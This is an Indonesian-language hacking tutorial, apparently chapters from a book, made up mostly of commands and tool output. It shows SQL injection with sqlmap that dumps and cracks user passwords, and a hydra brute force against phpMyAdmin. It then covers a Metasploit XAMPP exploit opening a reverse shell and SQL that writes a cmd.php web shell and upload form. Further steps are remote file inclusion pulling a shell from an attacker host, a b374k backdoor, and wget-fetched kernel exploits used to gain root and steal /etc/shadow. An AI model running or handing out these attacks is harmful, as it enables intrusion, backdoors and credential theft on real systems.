[10:13:22] [INFO] resuming back-end DBMS 'mysql'
[10:13:22] [INFO] testing connection to the target url
[10:13:22] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: postid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: postid=1 AND 4397=4397
```

```
root@dhcppc4: ~
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5
[10:13:22] [INFO] fetching database names
available databases [99]:
[*] aaaa
[*] aaaaaaaaaaa
[*] acak
[*] acute
[*] adabt
[*] adapt
[*] admin
[*] admin_mhs
[*] ad
[*] andy
[*] asdf
[*] auauauau
[*] auauauauau
[*] baru
[*] blogphp
[*] brewlog
[*] bugs
```

sqlmap -u http://192.168.1.32/data/view.php?postid=1 --dbs

```
root@dhcppc4:~# sqlmap -u http://192.168.1.32/data/view.php?postid=1 -D admin_mh
s --tables

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 10:15:35

[10:15:35] [INFO] resuming back-end DBMS 'mysql'
[10:15:35] [INFO] testing connection to the target url
[10:15:35] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
```

```
[10:15:35] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5
[10:15:35] [INFO] fetching tables for database: 'admin_mhs'
[10:15:36] [WARNING] reflective value(s) found and filtering ou
Database: admin_mhs
[7 tables]
+---------------------+
| tbl_artikel         |
| tbl_cln_mahasiswa   |
| tbl_komentar        |
| tbl_mhsiswa         |
| tbl_[illegible]_mahasiswa |
| tbl_user            |
| tbl_[illegible]_profile   |
+---------------------+

[10:15:36] [INFO] fetched data logged to text files under './ou
'

[*] shutting down at 10:15:36

root@dhcppc4:~#
```

sqlmap -u http://192.168.1.32/data/view.php?postid=1 -D admin_mhs --tables

```
root@dhcppc4:~# sqlmap -u http://192.168.1.32/data/view.php?postid=1 -D admin_mh
s -T tbl_user --dump

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 10:19:16

[10:19:16] [INFO] resuming back-end DBMS 'mysql'
[10:19:16] [INFO] testing connection to the target url
[10:19:16] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: postid
    Type: boolean-based blind
```

```
rther processing with other tools
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[10:19:53] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file './txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
```

```
[3] file with list of dictionary files
>
[10:20:18] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[10:20:21] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:20:22] [INFO] cracked password '123456' for user 'admin'
[10:20:22] [INFO] postprocessing table dump
Database: admin_mhs
Table: tbl_user
[1 entry]
+---------+-------+----------+-------------------------------------------+
| id_user | level | username | password                                  |
+---------+-------+----------+-------------------------------------------+
| 1       | 2     | admin    | e10adc3949ba59abbe56e057f20f883e (123456) |
+---------+-------+----------+-------------------------------------------+

[10:20:22] [INFO] table 'admin_mhs.tbl_user' dumped to CSV file './output/192.16
8.1.32/dump/admin_mhs/tbl_user.csv'
[10:20:22] [INFO] fetched data logged to text files under './output/192.168.1.32
'

[*] shutting down at 10:20:22

root@dhcppc4:~#
```

sqlmap -u http://192.168.1.32/data/view.php?postid=1 -D admin_mhs -T tbl_user --dump

```
[*] test
[*] toko
[*] ttt
[*] tutorialms
[*] ulforum
[*] unyil
[*] vcalendar
[*] wcms
[*] webauth
[*] webframe
[*] webshop
[*] wfewfew
[*] wlwlwk
[*] wordpress
[*] wow
[*] wwwww
[*] xwow

[10:21:01] [INFO] fetched data logged to text files under './output/192.168.1.32
'

[*] shutting down at 10:21:01

root@dhcppc4:~#
```

sqlmap -u http://192.168.1.32/data/view.php?postid=1 --dbs

```
| wp_tcp_countries                                  |
| wp_tcp_currencies                                 |
| wp_tcp_offlines                                   |
| wp_tcp_orders                                     |
| wp_tcp_orders_costs                               |
| wp_tcp_orders_details                             |
| wp_tcp_rel_entities                               |
| wp_tcp_tax_rates                                  |
| wp_tcp_taxes                                      |
| wp_term_relationships                             |
| wp_term_taxonomy                                  |
| wp_terms                                          |
| wp_usermeta                                       |
| wp_users                                          |
| wp_zvoicedata                                     |
+---------------------------------------------------+

[10:21:39] [INFO] fetched data logged to text files under '
'
```

sqlmap -u http://192.168.1.32/data/view.php?postid=1 -D wordpress --tables

```
-----------------------+-------------+--------------+---------------+----------
-----------+---------------------+
| ID | user_url | user_pass                                    | user_login | u
ser_email                | user_status | display_name | user_nicename | user_regi
stered     | user_activation_key |
+----+----------+----------------------------------------------+------------+--
-----------------------+-------------+--------------+---------------+----------
-----------+---------------------+
| 1  | <blank>  | $P$BXZCoedACfqXwdFompq8eWAnwQCcL41 (baseball) | admin      | y
k_family_code@yahoo.com | 0           | admin        | admin         | 2011-04-0
6 14:41:36 | <blank>             |
+----+----------+----------------------------------------------+------------+--
-----------------------+-------------+--------------+---------------+----------
-----------+---------------------+

[10:23:36] [INFO] table 'wordpress.wp_users' dumped to CSV file './output/192.16
8.1.32/dump/wordpress/wp_users.csv'
[10:23:36] [INFO] fetched data logged to text files under './output/192.168.1.32
'

[*] shutting down at 10:23:36
```

sqlmap -u http://192.168.1.32/data/view.php?postid=1 -D wordpress -T wp_users --dump

Bab 43

Websploit, Brute force, PHPMyAdmin, PHP Shell, NC & Ngeroot

43.1 XAMPP di komputer target diaktifkan

Kita coba aktifkan Server APACHE dan MySQL Server di komputer korban

Kita set IP komputer server korban

```
root@kurniawan-laptop:/# ifconfig eth0 192.168.1.38 netmask 255.255.255.0
root@kurniawan-laptop:/# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:31:78:a4
          inet addr:192.168.1.38  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe31:78a4/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:54 errors:0 dropped:0 overruns:0 frame:0
          TX packets:45 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:11950 (11.9 KB)  TX bytes:9710 (9.7 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1296 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1296 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
```

43.2 Websploit

WebSploit is an open source project which is used to scan and analysis remote system in order to find various type of vulnerabilites.

Sumber : sourceforge.net - http://sourceforge.net/p/websploit/wiki/Home

phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL, MariaDB and Drizzle. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement.

Sumber : phpmyadmin.net - https://www.phpmyadmin.net/.

Pencarian direktori PhpMyadmin dengan Websploit

WebSploit Is An Open Source Project For :

[>]Social Engineering Works

[>]Scan,Crawler & Analysis Web

[>]Automatic Exploiter

[>]Support Network Attacks

```
wsf > use web/pma
wsf:PMA > set target http://192.168.1.31
TARGET =>  http://192.168.1.31
wsf:PMA > run
[*] Your Target : 192.168.1.31
[*]Loading Path List ... Please Wait ...
[/phpMyAdmin/] ... [200 OK]
[/phpmyadmin/] ... [200 OK]
[/PMA/] ... [404 Not Found]
[/admin/] ... [404 Not Found]
[/dbadmin/] ... [404 Not Found]
[/mysql/] ... [404 Not Found]
[/myadmin/] ... [404 Not Found]
[/phpmyadmin2/] ... [404 Not Found]
[/phpMyAdmin2/] ... [404 Not Found]
[/phpMyAdmin-2/] ... [404 Not Found]
[/php-my-admin/] ... [404 Not Found]
[/phpMyAdmin-2.2.3/] ... [404 Not Found]
[/phpMyAdmin-2.2.6/] ... [404 Not Found]
[/phpMyAdmin-2.5.1/] ... [404 Not Found]
[/phpMyAdmin-2.5.4/] ... [404 Not Found]
[/phpMyAdmin-2.5.5-rc1/] ... [404 Not Found]
```

Use web/pma

Set target http://192.168.1.31

run

43.3 Eksploitasi dengan brute force

Contoh cara masuk ke Phpmyadmin perantara teknik brute force

Hasilnya setelah kita masukkan http://180.254.111.31/phpmyadmin adalah :

Serangan brutal (bahasa Inggris:Brute-force attack) adalah sebuah teknik serangan terhadap sebuah sistem keamanan komputer yang menggunakan percobaan terhadap semua kunci yang mungkin

```
H:\hydra>hydra -m /phpmyadmin/ -l root -P pass.txt 180.254.111.31 http-get
Hydra v6.0 (c) 2011 by van Hauser / THC - use allowed only for legal purposes
Hydra (http://www.thc.org) starting at 2011-10-23 22:07:11
[DATA] 7 tasks, 1 servers, 7 login tries (l:1/p:7), ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for 180.254.111.31 (waiting for childs to finish)
[80][www] host: 180.254.111.31   login: root   password: lintas5
Hydra (http://www.thc.org) finished at 2011-10-23 22:07:13
```

43.4 Memanfaatkan celah XAMPP_WEBDAV_UPLOAD

APACHE dan MySQL Aktif

```
msf > search xampp
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                        Disclosure Date  Rank       Description
   ----                                        ---------------  ----       -----------
   exploit/windows/http/xampp_webdav_upload_php 2012-01-14       excellent  XAMPP WebDAV PHP Upload

msf >
```

search xampp

```
msf > use exploit/windows/http/xampp_webdav_upload_php
msf exploit(xampp_webdav_upload_php) > show payloads

Compatible Payloads
===================

   Name                          Disclosure Date  Rank    Description
   ----                          ---------------  ----    -----------
   generic/custom                                 normal  Custom Payload
   generic/shell_bind_tcp                         normal  Generic Command Shell, Bind TCP
   generic/shell_reverse_tcp                      normal  Generic Command Shell, Reverse T
   php/bind_perl                                  normal  PHP Command Shell, Bind TCP (via
   php/bind_perl_ipv6                             normal  PHP Command Shell, Bind TCP (via
   php/bind_php                                   normal  PHP Command Shell, Bind TCP (via
   php/bind_php_ipv6                              normal  PHP Command Shell, Bind TCP (via
   php/download_exec                              normal  PHP Executable Download and Exec
   php/exec                                       normal  PHP Execute Command
   php/meterpreter/bind_tcp                       normal  PHP Meterpreter, Bind TCP Stager
   php/meterpreter/bind_tcp_ipv6                  normal  PHP Meterpreter, Bind TCP Stager
   php/meterpreter/reverse_tcp                    normal  PHP Meterpreter, PHP Reverse TCP
   php/meterpreter_reverse_tcp                    normal  PHP Meterpreter, Reverse TCP Inl
   php/reverse_perl                               normal  PHP Command, Double Reverse TCP
   php/reverse_php                                normal  PHP Command Shell, Reverse TCP (

msf exploit(xampp_webdav_upload_php) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
```

Exploit digunakan

```
msf exploit(xampp_webdav_upload_php) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(xampp_webdav_upload_php) > set rhost 192.168.1.127
rhost => 192.168.1.127
msf exploit(xampp_webdav_upload_php) > set lhost 192.168.1.160
lhost => 192.168.1.160
msf exploit(xampp_webdav_upload_php) > exploit

[*] Started reverse handler on 192.168.1.160:4444
[*] Uploading Payload to /webdav/pIjp3Wv.php
[*] Attempting to execute Payload
[*] Sending stage (39848 bytes) to 192.168.1.127
[*] Meterpreter session 1 opened (192.168.1.160:4444 -> 192.168.1.127:2571) at
sysinfo

meterpreter > sysinfo
Computer    : RFDATA
OS          : Windows NT RFDATA 5.1 build 2600 (Windows XP Professional Service
Meterpreter : php/php
meterpreter >
```

Hasilnya setelah dijalankan

43.5 Memanfaatkan account lain seperti pma

Cara lain bisa memanfaatkan akses user seperti pma (akses terbatas). Jika target terinstall wordpress maka dapat dicari file wp-config.php lalu dilihat isinya untuk sebagai cara untuk mengakses username root atau account dengan hak akses yang lebih tinggi.

Contoh Untuk mengakses database web dan eksploitasi lebih jauh pada target Windows.

Login dengan User Name : pma

Login dengan user PMA

Masuk ke database phpmyadmin

Untuk mengetahui nama folder atau letak XAMPP ketik : show variables lalu Go

Contoh melihat isi readme_en.txt di c:/xampp

load data local infile "c:/xampp/readme_en.txt" into table pma_relation

Hasilnya seperti di atas

Contoh untuk dari wordpress

load data local infile "c:/xampp/htdocs/wp-config.php" into table pma_relation

Contoh untuk dari Joomla

load data local infile "c:/xampp/htdocs/configuration.php" into table pma_relation

Contoh untuk dari phpmyadmin

load data local infile "c:/xampp/phpmyadmin/config.inc.php" into table pma_relation

Contoh dari xampp pada password.txt

load data local infile "c:/xampp/passwords.txt" into table pma_relation

Jika letaknya bukan di c:/xampp/htdocs dapat dicari dengan perintah

load data local infile "c:/xampp/apache/conf/httpd.conf" into table pma_relation

43.6 Eksploitasi dengan kondisi hak akses penuh

Kondisi telah masuk ke dalam phpmyadmin dengan hak akses penuh (target linux)

Ketikkan : show variables; lalu klik Go

Perhatikan pada basedir ditampilkan valuenya yaitu /opt/lampp

Membuat file form.php

```
CREATE TABLE test(

Stack TEXT

) TYPE=MYISaM;

INSERT INTO test(stack)

VALUES(

'<form enctype="multipart/form-data" action="upload.php" method="post"><pre
lang="html">Upload file :<form enctype="multipart/form-data" action="upload.php"
method="post"><input name="userfile" type="file" /><input type="submit" value="Upload"
/></form>'

);

select * into dumpfile '/opt/lampp/htdocs/form.php' from test;
```

Membuat file upload.php

```
CREATE TABLE upload(

Stack TEXT

) TYPE=MYISaM;

INSERT INTO upload(stack)

VALUES(

'<?php $uploaddir = "/opt/lampp/htdocs/";$uploadfile = $uploaddir .
basename($_FILES["userfile"]["name"]);echo "<pre>";if
(move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "</pre>";?>'

);

select * into dumpfile '/opt/lampp/htdocs/upload.php' from upload;
```

Run SQL query/queries on database test:

```
CREATE TABLE upload(
Stack TEXT
) TYPE=MYISaM;

INSERT INTO upload(stack)
VALUES(
'<?php $uploaddir = "/opt/lampp/htdocs/";$uploadfile = $uploaddir . basename($_FILES["userfile"]
["name"]);echo "<pre>";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print
"</pre>";?>'
);

select * into dumpfile '/opt/lampp/htdocs/upload.php' from upload;
```

Bookmark this SQL query: Let every user access this bookmark
Replace existing bookmark of same name

[Delimiter ;] Show this query here again Go

Membuat file cmd.php

```
use mysql;

DROP TABLE IF EXISTS `test`;

CREATE TABLE test (codetab text);

INSERT INTO test (codetab) values ('<? $cmd = $_GET["cmd"]; if (!empty($cmd)) { echo
"<pre>"; system($cmd); echo "</pre>"; exit; } ?>');

SELECT * INTO OUTFILE '/opt/lampp/htdocs/cmd.php' from test;

DROP TABLE test;

FLUSH LOGS;
```

Run SQL query/queries on database test:

```
use mysql;
DROP TABLE IF EXISTS `test`;
CREATE TABLE test (codetab text);
INSERT INTO test (codetab) values ('<? $cmd = $_GET["cmd"]; if (!empty($cmd)) { echo "<pre>";
system($cmd); echo "</pre>"; exit; } ?>');
SELECT * INTO OUTFILE '/opt/lampp/htdocs/cmd.php' from test;
DROP TABLE test;
FLUSH LOGS;
```

Bookmark this SQL query: Let every user access this bookmark
Replace existing bookmark of same name

[Delimiter ;] Show this query here again Go

Kita coba gunakan file cmd.php yang sudah kita buat :

http://192.168.1.38/cmd.php?cmd=ls

Untuk melakukan upload file ke server maka kita dapat memanfaatkan file form.php yang telah kita buat.

Contoh cara menjalankannya : http://192.168.1.38/form.php

Kita coba upload file PHP Backdoor : b374k.php.

Kita jalankan file b374k.php. Contohnya : http://192.168.1.38/b374k.php

Kita upload juga file nelson.c

Untuk pertama-tama kita coba upload file PHP Backdoor : b374k.php.

Kita jalankan file b374k.php. Contohnya : http://192.168.1.38/b374k.php

Kita masukkan password dari backdoor yang telah kita upload. Tujuannya kita password agar orang lain yang menemukan backdoor kita maka dia harus memasukkan password dengan benar agar dapat menggunakan PHP Shell kita.

Jika password di masukkan dengan benar maka akan tampil tampilan sebagai berikut :

Kita dapat mengakses folder, file dan sebagainya.

Dengan klik menu ps maka kita bisa melihat apa saja aplikasi atau service yang berjalan di mesin target.

Untuk db kita dapat masuk juga

Untuk shell

Contoh untuk reverse (bin), di b374k.php sudah otomatis mendeteksi IP komputer kita maka tinggal kita Go ! saja.

Sekarang kita tinggal jalankan netcat di komputer kita untuk menerima koneksi dari komputer target.

Perintahnya : nc -v -l -p 13123 lalu enter. Lalu kita cek akses kita, setelah mengetahui akses kita terbatas, maka kita perlu ngeroot, kita compile file nelson.c yang telah kita upload sebelumnya, lalu kita compile, setelah di jalankan nelsonnya, maka kita cek apakah akses kita sudah root, ternyata hasilnya di atas, akses kita telah root.

Bab 44

Contoh alur mendapatkan password user dengan akses root dari hasil eksploitasi web yang vulnerable

Dicontohkan ada target web dengan alamat http://192.168.1.10/sinaraccounting

Dicari celahnya dengan wapiti

Eksploitasi pada web

http://192.168.1.10/sinaraccounting/index.php?accounting=http://192.168.1.9/r57.txt?

Mengakses shell target

```
Command Prompt - nc  -v -l -p 11457
12/29/2004  02:07 PM            69,662 netcat.c
12/27/2004  06:44 PM             6,833 readme.txt
03/04/2012  08:11 AM                21 tutor.txt
               11 File(s)        269,383 bytes
                3 Dir(s)  203,732,426,752 bytes free

C:\netcat>nc -v -l -p 11457
listening on [any] 11457 ...
connect to [192.168.1.9] from 10.1.168.192.in-addr.arpa [192.168.1.10] 56401
Linux serverpower 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010
i686 GNU/Linux
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
ls
accounting2.jpg
accounting3.jpg
accounting4.jpg
accounting5.jpg
accounting6.jpg
accounting.jpg
accouting7.jpg
b374k_back.exe
b374k_back.py
b374k_bind.exe
b374k_bind.pl
b374k_bind.py
```

Home
Profile Sinar Accounting
Testimonial

r57shell 1.0

26-10-2016 07:40:53 [phpinfo] [php.ini]
safe_mode: OFF PHP version: 5.2.6 cURL: O
Kapalı Funtionslar : NONE
HDD Free : 26.3 GB HDD Total : 30.16 GB

Mengakses server target melalui netcat

```
telnet2.exe
telnetbackdoor.exe
testimonial.php
vires.neth
webshell.php
weevely.php
welcome.jpg
xx.php

whoami
nobody
cat /etc/shadow
cat: /etc/shadow: Permission denied
uname -a
Linux serverpower 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010
i686 GNU/Linux
```

Untuk mengetahui akses apa yang diperoleh maka ketik whoami. Akses nobody adalah bukan akses root, maka di sini masuk ke /etc/shadow tidak bisa.

Untuk melakukan rooting maka dimulai dengan ketik :

Uname -a

Untuk mengetahui versi kernel yang digunakan, dan terdeteksi kernelnya 2.6.35-22

Di sini dicari exploit nya di google.com

Akhirnya didapatkan dan didownload

Jika tidak bisa upload

Maka masuk ke /tmp

```
cd /tmp
ls -l
total 24
-rw-r--r-- 1 nobody      nogroup      541 2016-10-26 07:40 back
drwx------ 2 serverpower serverpower 4096 2016-10-27 09:26 keyring-PetRic
drwx------ 2 serverpower serverpower 4096 2016-10-26 07:27 orbit-serverpower
drwx------ 2 serverpower serverpower 4096 2016-10-27 09:26 pulse-1eBDgnRQia2b
drwx------ 2 serverpower serverpower 4096 2016-10-27 09:26 ssh-DbrVwzk927
drwx------ 2 serverpower serverpower 4096 2016-10-27 09:26 virtual-serverpower.z
eBCru
wget http://192.168.1.9/15704.c
wget: /opt/lampp/lib/libcrypto.so.0.9.8: no version information available (requi
red by wget)
wget: /opt/lampp/lib/libssl.so.0.9.8: no version information available (required
 by wget)
--2016-10-26 07:51:50--  http://192.168.1.9/15704.c
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9489 (9.3K) [text/x-c]
Saving to: `15704.c'

     0K .........                                             100% 30.4M=0s

2016-10-26 07:51:50 (30.4 MB/s) - `15704.c' saved [9489/9489]

ls -l
total 36
-rw-r--r-- 1 nobody      nogroup     9489 2016-10-27 09:44 15704.c
-rw-r--r-- 1 nobody      nogroup      541 2016-10-26 07:40 back
drwx------ 2 serverpower serverpower 4096 2016-10-27 09:26 keyring-PetRic
drwx------ 2 serverpower serverpower 4096 2016-10-26 07:27 orbit-serverpower
drwx------ 2 serverpower serverpower 4096 2016-10-27 09:26 pulse-1eBDgnRQia2b
drwx------ 2 serverpower serverpower 4096 2016-10-27 09:26 ssh-DbrVwzk927
drwx------ 2 serverpower serverpower 4096 2016-10-27 09:26 virtual-serverpower.z
eBCru
gcc 15704.c -o ngeroot
whoami
nobody
./ngeroot
whoami
root
```

Melalui /tmp, attacker dapat menarik file exploit dan melakukan compile seperti di atas

Setelah melakukan compile, maka attacker akan melakukan rooting, dan hasilnya berhasil diroot linux nya

```
cat /etc/shadow
root:!:17092:0:99999:7:::
daemon:*:14889:0:99999:7:::
bin:*:14889:0:99999:7:::
sys:*:14889:0:99999:7:::
sync:*:14889:0:99999:7:::
games:*:14889:0:99999:7:::
man:*:14889:0:99999:7:::
lp:*:14889:0:99999:7:::
mail:*:14889:0:99999:7:::
news:*:14889:0:99999:7:::
uucp:*:14889:0:99999:7:::
proxy:*:14889:0:99999:7:::
www-data:*:14889:0:99999:7:::
backup:*:14889:0:99999:7:::
list:*:14889:0:99999:7:::
irc:*:14889:0:99999:7:::
gnats:*:14889:0:99999:7:::
nobody:*:14889:0:99999:7:::
libuuid:!:14889:0:99999:7:::
syslog:*:14889:0:99999:7:::
messagebus:*:14889:0:99999:7:::
avahi-autoipd:*:14889:0:99999:7:::
avahi:*:14889:0:99999:7:::
couchdb:*:14889:0:99999:7:::
usbmux:*:14889:0:99999:7:::
speech-dispatcher:!:14889:0:99999:7:::
kernoops:*:14889:0:99999:7:::
pulse:*:14889:0:99999:7:::
rtkit:*:14889:0:99999:7:::
saned:*:14889:0:99999:7:::
hplip:*:14889:0:99999:7:::
gdm:*:14889:0:99999:7:::
serverpower:$6$nqZ0huhu$JdUlagO2EtZcDWO8ogPhxxrwMxqEuMR/59a4AhaO15xc0Bk.G53pd3qO
IuVdjLDaP2qa873kIxLTR/Lp.W7EI.:17092:0:99999:7:::
```

Saat diuji mengakses /etc/shadow hasilnya adalah berhasil mengakses isi file /etc/shadow

```
cp /etc/shadow /opt/lampp/htdocs/sinaraccounting
```

Di sini disalin file shadow ke /opt/lampp/htdocs/sinaraccounting

```
pwd
/tmp
cd /opt/lampp/htdocs
ls
blog
blogphp
data
favicon.ico
filesx.zip
index.html
sinaraccounting
webalizer
wordpress-3.2.tar.gz
xampp
cd sinaraccounting
chmod o+r shadow
```

Setelah disalin maka lakukan chmod o+r shadow agar bisa diakses dari luar

192.168.1.10/sinaraccounting/shadow

```
root:!:17092:0:99999:7:::
daemon:*:14889:0:99999:7:::
bin:*:14889:0:99999:7:::
sys:*:14889:0:99999:7:::
sync:*:14889:0:99999:7:::
games:*:14889:0:99999:7:::
man:*:14889:0:99999:7:::
lp:*:14889:0:99999:7:::
mail:*:14889:0:99999:7:::
news:*:14889:0:99999:7:::
uucp:*:14889:0:99999:7:::
proxy:*:14889:0:99999:7:::
www-data:*:14889:0:99999:7:::
backup:*:14889:0:99999:7:::
list:*:14889:0:99999:7:::
irc:*:14889:0:99999:7:::
gnats:*:14889:0:99999:7:::
nobody:*:14889:0:99999:7:::
libuuid:!:14889:0:99999:7:::
syslog:*:14889:0:99999:7:::
messagebus:*:14889:0:99999:7:::
avahi-autoipd:*:14889:0:99999:7:::
avahi:*:14889:0:99999:7:::
couchdb:*:14889:0:99999:7:::
usbmux:*:14889:0:99999:7:::
speech-dispatcher:!:14889:0:99999:7:::
kernoops:*:14889:0:99999:7:::
pulse:*:14889:0:99999:7:::
rtkit:*:14889:0:99999:7:::
saned:*:14889:0:99999:7:::
hplip:*:14889:0:99999:7:::
gdm:*:14889:0:99999:7:::
serverpower:$6$nqZ0huhu$JdUlagO2EtZcDWO8ogPhxxrwMxqEuMR/59a4AhaO15xc0Bk.G53pd3qOIuVdjLDaP2qa873kIxLTR/Lp.W7EI.:17092:0:99999:7:::
```

Hasilnya jika dipanggil menggunakan browser

```
root@dhcppc4:~# wget http://192.168.1.10/sinaraccounting/shadow
--2016-10-26 23:00:05--  http://192.168.1.10/sinaraccounting/shadow
Connecting to 192.168.1.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1015 [text/plain]
Saving to: `shadow'

100%[=====================================>] 1,015       --.-K/s   in 0s

2016-10-26 23:00:05 (112 MB/s) - `shadow' saved [1015/1015]
```

Di sini file shadow akan ditarik ke kali linux

```
root@dhcppc4:~# wget http://192.168.1.10/sinaraccounting/shadow
--2016-10-26 23:00:05--  http://192.168.1.10/sinaraccounting/shadow
Connecting to 192.168.1.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1015 [text/plain]
Saving to: `shadow'

100%[=====================================>] 1,015       --.-K/s   in 0s

2016-10-26 23:00:05 (112 MB/s) - `shadow' saved [1015/1015]

root@dhcppc4:~# johon shadow
bash: johon: command not found
root@dhcppc4:~# john shadow
Loaded 1 password hash (generic crypt(3) [?/32])
baseball         (serverpower)
guesses: 1  time: 0:00:00:55 100% (2)  c/s: 51.57  trying: 12345 - missy
Use the "--show" option to display all of the cracked passwords reliably
root@dhcppc4:~#
```

Setelah ditarik ke kali linux lalu dicrack dengan john

john shadow

Hasilnya seperti di atas

Untuk contoh lain

http://192.168.1.157/blog

wpscan --url http://192.168.1.157/blog

```
 |  Location: http://192.168.1.157/blog/wp-content/plugins/thecartpress/
 |  Readme: http://192.168.1.157/blog/wp-content/plugins/thecartpress/re
[!] The version is out of date, the latest version is 1.5.3.2
[!] Directory listing is enabled: http://192.168.1.157/blog/wp-content/p
hecartpress/

[!] Title: TheCartPress <= 1.6 - Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/6565
    Reference: http://packetstormsecurity.com/files/108272/
[i] Fixed in: 1.1.7

[!] Title: TheCartPress 1.1.1 - Remote File Inclusion
    Reference: https://wpvulndb.com/vulnerabilities/6566
    Reference: https://www.exploit-db.com/exploits/17860/
[i] Fixed in: 1.1.2

[!] Title: TheCartPress <= 1.3.9 - Multiple Vulnerabilities
    Reference: https://wpvulndb.com/vulnerabilities/7951
```

Terdeteksi terdapat plugin TheCartPress 1.1.1 yang memiliki celah Remote File Inclusion

https://www.exploit-db.com/exploits/17860/

EXPLOIT DATABASE

Home Exploits Shellcode Papers

WordPress Plugin TheCartPress 1.1.1 -

EDB-ID: 17860	**Author:** Ben Schmidt	**CVE:** N/A
Published: 2011-09-19	**Type:** webapps	**Platform:** PHP
E-DB Verified: ✔	**Exploit:** Download // View Raw	**Vulnerable App:**
Tags: Wordpress Plugin		

« Previous Exploit

« Previous Exploit Next Exploit

```
# Exploit Title: Thecartpress Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/thecartpress
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/thecartpress/download/
# Version: 1.1.1 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/thecartpress/checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=RFI

---
Vulnerable Code
---
if ( isset( $_REQUEST['tcp_save_fields'] ) ) {
    $path = $_REQUEST['tcp_class_path'];
    $class_name = $_REQUEST['tcp_class_name'];
    require_once( $path );
```

http://192.168.1.157/blog/wp-content/plugins/thecartpress/checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=http://192.168.1.9/shellxx.txt?

nc -v -l -p 11457

Administrator: Command Prompt - nc -v -l -p 11457

```
C:\netcat>nc -v -l -p 11457
listening on [any] 11457 ...
connect to [192.168.1.9] from 157.1.168.192.in-addr.arpa [192.168.1.157] 43530
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686
athlon i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
ActiveCheckout.class.php
CheckoutEditor.php
TCPBillingBox.class.php
TCPBillingExBox.class.php
TCPCartBox.class.php
TCPCheckoutBox.class.php
TCPCheckoutManager.class.php
TCPNoticeBox.class.php
TCPPaymentMethodsBox.class.php
TCPShippingBox.class.php
TCPShippingMethodsBox.class.php
TCPSigninBox.class.php
register_and_login.php
tcp_checkout_template.php
whoami
www-data
uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686
athlon i686 GNU/Linux
```

https://www.google.co.id/?gws_rd=cr,ssl&ei=orQaWl6el4zuvgTojoPIAg#q=ubuntu+3.13+exploit+kernel

Google ubuntu 3.13 exploit kernel

Semua Berita Video Gambar Maps Lainnya Alat penelusuran

Sekitar 25.200 hasil (0,40 detik)

Kiat: Telusuri hasil dalam bahasa **Inggris** saja. Anda dapat menentukan bahasa penelusuran di Preferensi

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04 ... - Exploit Database
https://www.**exploit**-db.com/**exploits**/37292/ ▾ Terjemahkan laman ini
